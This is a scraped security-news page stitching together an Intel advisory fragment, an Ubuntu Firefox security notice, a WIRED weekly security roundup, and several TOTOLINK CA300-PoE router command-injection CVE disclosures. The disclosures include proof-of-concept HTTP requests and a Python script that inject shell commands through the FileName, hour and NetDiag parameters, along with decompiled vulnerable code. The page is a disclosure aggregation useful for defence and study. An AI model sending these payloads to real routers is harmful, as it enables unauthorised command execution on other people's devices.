Improper buffer restrictions the Intel(R) C++ Compiler Classic before version 2021.7.1. for some Intel(R) oneAPI Toolkits before version 2022.3.1 may allow a privileged user to potentially enable escalation of privilege via local access.

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**Intel® oneAPI Toolkit software Advisory**

**Revision History**

Revision

Date

Description

1.0

01/10/2023

Initial Release

1.1

01/30/2023

Corrected Intel® C++ Compiler (Classic) version to 2021.7.1

**Legal Notices and Disclaimers**

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All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

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CVE-2022-41342: INTEL-SA-00773

Ubuntu Security Notice 5816-2 - USN-5816-1 fixed vulnerabilities in Firefox. The update introduced several minor regressions. This update fixes the problem. Niklas Baumstark discovered that a compromised web child process of Firefox could disable web security opening restrictions, leading to a new child process being spawned within the file:// context. Tom Schuster discovered that Firefox was not performing a validation check on GTK drag data. An attacker could potentially exploits this to obtain sensitive information. Various other issues were also addressed.

==========================================================================  
Ubuntu Security Notice USN-5816-2  
February 06, 2023

firefox regressions  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS

Summary:

USN-5816-1 caused some minor regressions in Firefox.

Software Description:  
- firefox: Mozilla Open Source web browser

Details:

USN-5816-1 fixed vulnerabilities in Firefox. The update introduced  
several minor regressions. This update fixes the problem.

We apologize for the inconvenience.

Original advisory details:

 Niklas Baumstark discovered that a compromised web child process of Firefox  
 could disable web security opening restrictions, leading to a new child  
 process being spawned within the file:// context. An attacker could  
 potentially exploits this to obtain sensitive information. (CVE-2023-23597)

  Tom Schuster discovered that Firefox was not performing a validation check  
 on GTK drag data. An attacker could potentially exploits this to obtain  
 sensitive information. (CVE-2023-23598)

  Vadim discovered that Firefox was not properly sanitizing a curl command  
 output when copying a network request from the developer tools panel. An  
 attacker could potentially exploits this to hide and execute arbitrary  
 commands. (CVE-2023-23599)

  Luan Herrera discovered that Firefox was not stopping navigation when  
 dragging a URL from a cross-origin iframe into the same tab. An attacker  
 potentially exploits this to spoof the user. (CVE-2023-23601)

  Dave Vandyke discovered that Firefox did not properly implement CSP policy  
 when creating a WebSocket in a WebWorker. An attacker who was able to  
 inject markup into a page otherwise protected by a Content Security Policy  
 may have been able to inject an executable script. (CVE-2023-23602)

  Dan Veditz discovered that Firefox did not properly implement CSP policy  
 on regular expression when using console.log. An attacker potentially  
 exploits this to exfiltrate data from the browser. (CVE-2023-23603)

  Nika Layzell discovered that Firefox was not performing a validation check  
 when parsing a non-system html document via DOMParser::ParseFromSafeString.  
 An attacker potentially exploits this to bypass web security checks.  
 (CVE-2023-23604)

  Multiple security issues were discovered in Firefox. If a user were  
 tricked into opening a specially crafted website, an attacker could  
 potentially exploit these to cause a denial of service, obtain sensitive  
 information across domains, or execute arbitrary code. (CVE-2023-23605,  
 CVE-2023-23606)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  firefox                         109.0.1+build1-0ubuntu0.20.04.2

Ubuntu 18.04 LTS:  
  firefox                         109.0.1+build1-0ubuntu0.18.04.2

After a standard system update you need to restart Firefox to make all the  
necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5816-2  
  https://ubuntu.com/security/notices/USN-5816-1  
  https://launchpad.net/bugs/2006075

Package Information:  
  https://launchpad.net/ubuntu/+source/firefox/109.0.1+build1-0ubuntu0.20.04.2  
  https://launchpad.net/ubuntu/+source/firefox/109.0.1+build1-0ubuntu0.18.04.2

Ubuntu Security Notice USN-5816-2

Plus: The FTC cracks down on GoodRx, Microsoft boots “verified” phishing scammers, researchers disclose EV charger vulnerabilities, and more.

If you heard rumblings this week that Netflix is finally cracking down on password sharing in the United States and other markets, you heard wrong—but only for now. The company told WIRED that while it plans to make an announcement in the next few weeks about limiting account sharing, nothing has happened yet. Meanwhile, lawmakers in Congress are eager to overhaul systems for dealing with secret US government data as classified documents keep turning up in the wrong places.

We did a deep dive this week into a ransomware attack that crippled the digital infrastructure of London’s Hackney Council. The assault happened more than two years ago, but it was so impactful that the local authority is still working to recover. A project that’s looking far into the future, meanwhile, is developing prototype pursuit satellites for real-world testing that could someday be used in space battles.

In other military news from the skies, we examined the situation with the apparent Chinese spy balloon over the US and the pros and cons of using balloons as espionage tools. And if you want to improve your personal digital security this weekend, we’ve got a roundup of the most important software updates to install right away, including fixes for Android and Firefox vulnerabilities.

Plus, there’s more. Each week we round up the stories we didn’t cover in-depth ourselves. Click on the headlines to read the full stories. And stay safe out there.

If you’re looking for legit software downloads by searching Google, your clicks just got riskier. The spam- and malware-tracking nonprofit Spamhaus says it has detected a “massive spike” in malware spread via Google Ads in the past two months. This includes “malvertizing” that appears to be authentic downloads of tools like Slack, Mozilla’s Thunderbird email client, and the Tor Browser. Security firm SentinelOne further identified a handful of malicious loaders spread through Google Ads, which researchers collectively dubbed MalVirt. They say MalVirt loaders are used to distribute malware like XLoader, which an attacker can use to steal data from an infected machine. Google told Ars Technica in a statement that it is aware of the malvertizing uptick. “Addressing it is a critical priority, and we are working to resolve these incidents as quickly as possible,” the company said.

The Federal Trade Commission this week issued its first-ever fine under the Health Breach Notification Rule (HBNR). Online pharmacy GoodRx was ordered to pay a $1.5 million fine for allegedly sharing its users’ medication data with third parties like Meta and Google without informing those users of the “unauthorized disclosures,” as is required under the HBNR. The FTC’s enforcement action follows investigations by Consumer Reports and Gizmodo into GoodRx’s data-sharing practices. In addition to violating the HBNR, GoodRx misrepresented its claims of HIPAA compliance, the FTC alleges. GoodRx claims it fixed the issues at the heart of the FTC’s complaint years ago and rejects any admission of guilt. “We do not agree with the FTC’s allegations and we admit no wrongdoing,” a spokesperson told Gizmodo. “Entering into the settlement allows us to avoid the time and expense of protracted litigation.” 

Microsoft this week announced that it had disabled accounts of threat actors who managed to get verified under the Microsoft Cloud Partner Program. Posing as legitimate businesses, the threat actors used their verified account status to create malicious OAuth applications. “The applications created by these fraudulent actors were then used in a consent phishing campaign, which tricked users into granting permissions to the fraudulent apps,” Microsoft said in a blog detailing the issue. “This phishing campaign targeted a subset of customers primarily based in the UK and Ireland.” The company says the people behind the phishing attacks likely used their access to steal emails and that it has notified all victims.

Researchers at the security firm Saiflow this week exposed two vulnerabilities in versions of the open source protocol used in the operation of many electric-vehicle charging stations, called the Open Charge Point Protocol (OCPP). By exploiting vulnerable instances of the OCPP standard, which is used to communicate between chargers and management software, an attacker could take over a charger, disable groups of chargers, or siphon off electricity from a charger for their own use. Saiflow says it’s working with EV charger companies to mitigate the risks of the vulnerabilities.

The 37 million customers exposed by the most recent T-Mobile hack may not be the only people impacted by the breach. Google this week informed customers of the Google Fi mobile service that hackers had obtained “limited” account information, including phone numbers, SIM serial numbers, and information about their accounts. The hackers did not access payment information, passwords, or the contents of communications, like text messages. Still, it’s possible the information could have been used for SIM swap attacks. TechCrunch reports that the intrusion was detected by Google Fi’s “primary network provider,” which noticed “suspicious activity relating to a third-party support system.” The timing of the hack, which comes two weeks after the latest T-Mobile breach, suggests the two are related.

Googling for Software Downloads Is Extra Risky Right Now

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 27 and Feb. 3. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key

Threat Round up for January 27 to February 3

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the FileName parameter in the setUploadUserData function.

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setUploadUserData.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" : "setting/setUploadUserData", "ContentLength":"10485", "FileName": "a|mkdir /setUploadUserData_1111;"}
    

    int __fastcall setUploadUserData(int a1, int a2, int a3)
    {
      const char *FileName_v; // $s3
      int ContentLength_v; // $s1
      int Object; // $s0
      int v9; // $s1
      int v10; // $v0
      int v11; // $s1
      const char *v13; // $a0
      int String; // $v0
      int v15; // $s2
      int v16; // $s0
      char v17[256]; // [sp+24h] [-104h] BYREF
    
      FileName_v = (const char *)websGetVar(a2, "FileName", "");
      ContentLength_v = websGetVar(a2, "ContentLength", "");
      set_action(3);
      Object = cJSON_CreateObject();
      v9 = strtol(ContentLength_v, 0, 10);
      if ( v9 < 1000 )
      {
        v13 = "MSG_userData_error";
        goto LABEL_7;
      }
      if ( v9 >= 1048577 )
      {
        v13 = "MSG_userData_big";
    LABEL_7:
        String = cJSON_CreateString(v13);
        cJSON_AddItemToObject(Object, "upgradeERR1", String);
        unlink(FileName_v);
        set_action(0);
        goto LABEL_5;
      }
      if ( !fork(0) )
      {
        sleep(2);
        memset(v17, 0, sizeof(v17));
        v15 = malloc(v9);
        v16 = f_read(FileName_v, v15, 0, v9);
        if ( CS_DBG == 1 )
          printf("(%s:%d)=> inLen=[%d]\n", "setUploadUserData", 350, v16);
        f_write("/tmp/plugin.tar.gz", v15, v16, 0);
        free(v15);
        sprintf(v17, "md5sum %s | awk '{ print $1 }' > %s", "/tmp/plugin.tar.gz", "/userdata/SysPluginMd5");
        CsteSystem(v17, 0);
        CsteSystem("tar zxvf /tmp/plugin.tar.gz -C /tmp", 0);
        CsteSystem("sh /tmp/plugin/plugin.sh", 0);
        CsteSystem("rm -rf /tmp/plugin.tar.gz", 0);
        sprintf(v17, "rm -rf %s", FileName_v);
        CsteSystem(v17, 0);
        set_action(0);
        exit(1);
      }
      v10 = cJSON_CreateString("1");
      cJSON_AddItemToObject(Object, "upgradeStatus", v10);
    LABEL_5:
      v11 = cJSON_Print(Object);
      websGetCfgResponse(a1, a3, v11);
      cJSON_Delete(Object);
      free(v11);
      return 0;
    }

CVE-2023-24148: CVE-vulns/setUploadUserData.md at main · Double-q1015/CVE-vulns

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the hour parameter in the setRebootScheCfg function.

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setRebootScheCfg.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" :"setting/setRebootScheCfg","mode" : "1", "hour": "';mkdir /hour_1111;'"}
    

    int __fastcall setRebootScheCfg(int a1, int a2, int a3)
    {
      int mode_v; // $s5
      int week_v; // $s3
      const char *hour_v; // $fp
      const char *minute_v; // $s7
      int recHour_v; // $s0
      int v9; // $v0
      int v11; // $v0
      int i; // $s0
      _BYTE *v13; // $v0
      char *v14; // $a0
      int v15; // $s0
      int v16; // $s0
      char v19[256]; // [sp+2Ch] [-244h] BYREF
      char v20[128]; // [sp+12Ch] [-144h] BYREF
      char v21[128]; // [sp+1ACh] [-C4h] BYREF
      int v22[16]; // [sp+22Ch] [-44h] BYREF
    
      memset(v20, 0, sizeof(v20));
      memset(v21, 0, sizeof(v21));
      memset(v19, 0, sizeof(v19));
      mode_v = websGetVar(a2, "mode", "0");
      week_v = websGetVar(a2, "week", "");
      hour_v = (const char *)websGetVar(a2, "hour", "");
      minute_v = (const char *)websGetVar(a2, "minute", "");
      recHour_v = websGetVar(a2, "recHour", "0");
      cs_uci_set("system.reboot.mode", mode_v);
      cs_uci_set("system.reboot.week", week_v);
      cs_uci_set("system.reboot.hour", hour_v);
      cs_uci_set("system.reboot.minute", minute_v);
      cs_uci_set("system.reboot.recHour", recHour_v);
      cs_uci_commit("system");
      strcpy(v19, "sed -i /reboot/d /etc/crontabs/root");
      CsteSystem(v19, 0);
      CsteSystem("killall sche_reboot", 0);
      v9 = atoi(mode_v);
      if ( v9 == 1 )                                // mode=1
      {
        v11 = atoi(week_v);
        if ( v11 == 255 )
        {
          strcpy(v21, "*");
        }
        else if ( v11 )
        {
          for ( i = 1; i != 8; ++i )
          {
            if ( ((atoi(week_v) >> i) & 1) != 0 )
            {
              sprintf(v20, (const char *)&dword_4404, i);
              strcat(v21, v20);
              strcat(v21, &dword_4408);
            }
          }
          v13 = (_BYTE *)strrchr(v21, 44);
          if ( v13 )
            *v13 = 0;
        }
        sprintf(v19, "echo '%s %s * * %s reboot -f'>> /etc/crontabs/root", minute_v, hour_v, v21);
        v14 = v19;
    LABEL_13:
        CsteSystem(v14, 0);
        goto LABEL_3;
      }
      if ( v9 == 2 )
      {
        v15 = atoi(recHour_v);
        if ( v15 > 0 )
        {
          sysinfo(v22);
          v16 = 3600 * v15 - v22[0];
          if ( v16 <= 0 )
          {
            cs_cmd("reboot", 16464, 1);
            goto LABEL_3;
          }
          CsteSystem("killall sche_reboot", 0);
          sprintf(v20, "sche_reboot %ld &", v16);
          v14 = v20;
          goto LABEL_13;
        }
      }
    LABEL_3:
      cs_cmd("/etc/init.d/cron", "restart", 2);
      websSetCfgResponse(a1, a3, "0", "reserv");
      return 0;
    }

CVE-2023-24144: CVE-vulns/setRebootScheCfg_hour.md at main · Double-q1015/CVE-vulns

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagPingSize parameter in the setNetworkDiag function.

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setNetworkDiag.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "0", "NetDiagPingSize": "100||ls;"}

CVE-2023-24142: CVE-vulns/setNetworkDiag_NetDiagPingSize.md at main · Double-q1015/CVE-vulns

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagPingTimeOut parameter in the setNetworkDiag function.

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setNetworkDiag.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "0", "NetDiagPingTimeOut": "4||ls;"}

CVE-2023-24141: CVE-vulns/setNetworkDiag_NetDiagPingTimeOut.md at main · Double-q1015/CVE-vulns

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagHost parameter in the setNetworkDiag function.

**TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagHost parameter in the function setNetworkDiag****Description**

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setNetworkDiag.

******Firmware information**

*   Manufacturer's address:https://www.totolink.net/
*   Firmware download address : https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/139/ids/36.html

**Affected version**

**Version: V6.2c.884**

**Vulnerability details**

POC1:

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl":"setting/setNetworkDiag","NetDiagMethod":"0","NetDiagHost":"www.baidu.com|expr 50 - 3;"}
    

POC2:

    import requests
    url = "http://192.168.0.254:80/cgi-bin/cstecgi.cgi"
    cookie = {"Cookie":"SESSION_ID=2:1672999258:2"}
    data = {"topicurl" : "setDiagnosisCfg",
    "ip" : "192.168.1.1||mkdir /test1111;"}
    
    data1 = {'topicurl' : "setting/setNetworkDiag","NetDiagMethod" : "0", "NetDiagHost":"www.baidu.com|echo `ls`;"}
    
    response = requests.post(url, cookies=cookie, json=data1)
    print(response.text)
    print(response)
    
    data2 = {"topicurl":"setting/showNetworkDiag"}
    response = requests.post(url, cookies=cookie, json=data2)
    print(response.text)
    print(response)
    
    

The function setNetworkDiag is used to set the corresponding variable

In function showNetworkDiag

step into function getDiagInfo

CVE-2023-24139: CVE-vulns/setNetworkDiag_NetDiagHost.md at main · Double-q1015/CVE-vulns

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the setNetworkDiag function.

Permalink

Cannot retrieve contributors at this time

**TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the function setNetworkDiag****Description**

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setNetworkDiag.

******Firmware information**

*   Manufacturer's address:https://www.totolink.net/
*   Firmware download address : https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/139/ids/36.html

**Affected version**

**Version: V6.2c.884**

**Vulnerability details**

POC1:

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "1", "NetDiagTracertHop": "20||ls;"}
    

The function setNetworkDiag is used to set the corresponding variable

In function showNetworkDiag

step into function getDiagInfo，V11 is the value of system.NetDiag.method

Tag

#firefox